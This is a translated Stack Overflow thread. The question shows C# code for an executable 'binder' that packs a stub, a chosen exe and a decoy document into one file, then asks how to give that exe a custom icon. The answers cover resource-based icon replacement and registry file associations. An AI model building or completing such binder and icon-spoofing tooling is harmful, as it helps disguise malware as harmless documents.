是否可以使用SaveAsDialogBox保存带有图标的文件?

时间:2015-05-25 04:56:20

标签: c# winforms

使用C#.net中的另存为对话框指定其图标后是否可以保存文件?

我在文件夹中保存了一个带有SaveAsDialogBox()的exe文件,但未能为该exe文件分配一个Icon。

在保存该文件之前或之后,有没有办法为该文件分配图标?

int num1, num2, num3;

if (Operators.CompareString(this.exePath.Text, "", false) == 0)
{
    num1 = (int)Interaction.MsgBox((object)"Select/browse an exe file to bind...!", MsgBoxStyle.OkOnly, (object)null);
}
else if (Operators.CompareString(this.docPath.Text, "", false) == 0)
{
    num2 = (int)Interaction.MsgBox((object)"Select/browse a docment file (pdf/jpg/doc etc.)...!", MsgBoxStyle.OkOnly, (object)null);
}
else if (Operators.CompareString(this.saveAs.Text, "", false) == 0)
{
    num3 = (int)Interaction.MsgBox((object)"Browse the path to save the output file...!", MsgBoxStyle.OkOnly, (object)null);
}
else
{
    byte[] stub = Resources.stub;
    FileStream fileStream = File.Create(Application.StartupPath + "\\Hello.exe");
    fileStream.Write(stub, 0, stub.Length);
    fileStream.Close();
    FileSystem.FileOpen(1, this.exePath.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
    string str1 = Strings.Space(checked((int)FileSystem.LOF(1)));
    FileSystem.FileGet(1, ref str1, -1L, false);
    FileSystem.FileClose(1);
    FileSystem.FileOpen(2, this.docPath.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
    string str2 = Strings.Space(checked((int)FileSystem.LOF(2)));
    FileSystem.FileGet(2, ref str2, -1L, false);
    FileSystem.FileClose(2);
    FileSystem.FileOpen(3, Application.StartupPath + "\\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
    string str3 = Strings.Space(checked((int)FileSystem.LOF(3)));
    FileSystem.FileGet(3, ref str3, -1L, false);
    FileSystem.FileClose(3);
    FileSystem.FileOpen(3, this.saveAs.Text, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
    FileSystem.FilePut(3, str3 + "@@72389@@" + str1 + "@@72389@@" + str2 + "@@72389@@" + this.n1 + "@@72389@@" + this.n2, -1L, 0 != 0);
    FileSystem.FileClose(3);
    File.Delete(Application.StartupPath + "\\Hello.exe");
    Interaction.MsgBox((object)"Files have been binded successfully and stored in defined location", MsgBoxStyle.OkOnly, (object)null);
    showControls();
}

帮助将不胜感激。 感谢

3 个答案:

答案 0 :(得分:4)

我已使用下面的代码成功更改了图标, 毕竟我得到了一个错误,我曾经尝试过的exe不再工作了。

这段代码的错误使得exe无用吗?

IntPtr hUpdate1 = IconClass.NativeMethods.BeginUpdateResource(exeFileName, false );

是否由于上面一行代码中的资源更新。

 IconClass.IconFile iconFile = IconClass.IconFile.FromFile(iconFileName);
  IntPtr hUpdate1 = IconClass.NativeMethods.BeginUpdateResource(exeFileName, false );
  byte[] iconGroupData = iconFile.CreateIconGroupData(iconBaseID);
  IntPtr hUpdate2 = hUpdate1;
  IntPtr num1 = new IntPtr(14L);
  IntPtr type1 = num1;
  IntPtr num2 = new IntPtr((long) iconGroupID);
  IntPtr name1 = num2;
  int num3 = 0;
  byte[] data1 = iconGroupData;
  int length1 = iconGroupData.Length;
  IconClass.NativeMethods.UpdateResource(hUpdate2, type1, name1, (short) num3, data1, length1);
  int num4 = 0;
  int num5 = checked (iconFile.ImageCount - 1);
  int index = num4;
  while (index <= num5)
  {
    byte[] numArray = iconFile.get_ImageData(index);
    IntPtr hUpdate3 = hUpdate1;
    num2 = new IntPtr(3L);
    IntPtr type2 = num2;
    num1 = new IntPtr(checked ((long) iconBaseID + (long) index));
    IntPtr name2 = num1;
    int num6 = 0;
    byte[] data2 = numArray;
    int length2 = numArray.Length;
    IconClass.NativeMethods.UpdateResource(hUpdate3, type2, name2, (short) num6, data2, length2);
    checked { ++index; }
  }
  IconClass.NativeMethods.EndUpdateResource(hUpdate1, false);
}

答案 1 :(得分:1)

这是完整的解决方案。

首先,您必须为您的应用程序考虑新的file extension。它可以是任何东西(任何组合)。与.abcd.dea或其他任何内容一样。 您无法使用预定义的系统扩展程序,例如.exe,.dll等。因此您可以考虑三个四个字符的任何扩展名。

您可以在program.cs

中使用以下代码
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.IO;

namespace DemoCalc
{

    static class Program
    {
        [DllImport("Shell32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern void SHChangeNotify(uint wEventId, uint uFlags, IntPtr dwItem1, IntPtr dwItem2);
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main(string[] args)
        {
            if (!IsAssociated())
            {
                Registry.CurrentUser.DeleteSubKeyTree("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.abcd");
                Asociate();
            }
            else
            {
                Asociate();
            }
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            if (args.Length == 0)
            {
                Application.Run(new Form1());
            }
            else
            {
                Application.Run(new Form1(args[0]));
            }
        }
        public static bool IsAssociated()
        {

            return (Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.abcd", false) == null);

        }
        public static void Asociate()
        {
            String path = System.IO.Directory.GetParent(AppDomain.CurrentDomain.BaseDirectory).Parent.FullName;
            MessageBox.Show(path);
            path = System.IO.Directory.GetParent(path).FullName + @"\Image\sync.ico";
            MessageBox.Show(path);
            RegistryKey FileReg = Registry.CurrentUser.CreateSubKey("Software\\Classes\\.abcd");
            RegistryKey AppReg = Registry.CurrentUser.CreateSubKey("Software\\Classes\\Applications\\MyCalcNew.exe");
            RegistryKey AppAssoc = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.abcd");

            FileReg.CreateSubKey("DefaultIcon").SetValue("", System.IO.Directory.GetParent(System.IO.Directory.GetParent(AppDomain.CurrentDomain.BaseDirectory).Parent.FullName).FullName + @"\Image\sync.ico");
            FileReg.CreateSubKey("PerceivedType").SetValue("", "Text");

            AppReg.CreateSubKey("shell\\open\\command").SetValue("", "\"" + Application.ExecutablePath + "\" %1");
            AppReg.CreateSubKey("shell\\edit\\command").SetValue("", "\"" + Application.ExecutablePath + "\" %1");
            AppReg.CreateSubKey("DefaultIcon").SetValue("", System.IO.Directory.GetParent(System.IO.Directory.GetParent(AppDomain.CurrentDomain.BaseDirectory).Parent.FullName).FullName + @"\Image\sync.ico");

            AppAssoc.CreateSubKey("UserChoice").SetValue("Progid", "Applications\\MyCalcNew.exe");
            SHChangeNotify(0x08000000, 0x0000, IntPtr.Zero, IntPtr.Zero);
        }
    }
}

我正在为我的桌面应用程序使用.abcd扩展名。首先,我要检查我的扩展是否存在于system registry中。如果存在,则从Registry.CurrentUser.DeleteSubKeyTree删除它。

现在您需要关联新的扩展程序,换句话说,您必须在system registry中注册新的扩展程序。

选中以下行,您可以将任何图标文件映射到您的扩展程序。

path = System.IO.Directory.GetParent(path).FullName + @"\Image\sync.ico";

我在这里使用sync.ico文件。您可以使用公司的任何徽标或其他任何徽标作为.ico文件。请记住,.ico文件将与您的扩展程序保持一致。但是,如果您愿意,可以稍后更改。

这将为您提供两个主要功能。

  1. 当您使用.abcd extension保存任何文件时,它会 自动从system registry中选择图标,您将看到 带有图标的文件。
  2. 它允许您在鼠标double click上打开您的应用程序 或键盘enter事件。但是要完全实现这一点,你需要 在表单级别写几行代码。
  3. 如果您正在寻找其他任何内容,请告诉我。

答案 2 :(得分:-1)

您可以使用IconHandler来更改图标。请注意shell extensions should not be written in managed code,因此必须在C#代码中使用不安全的代码来编写C ++语言。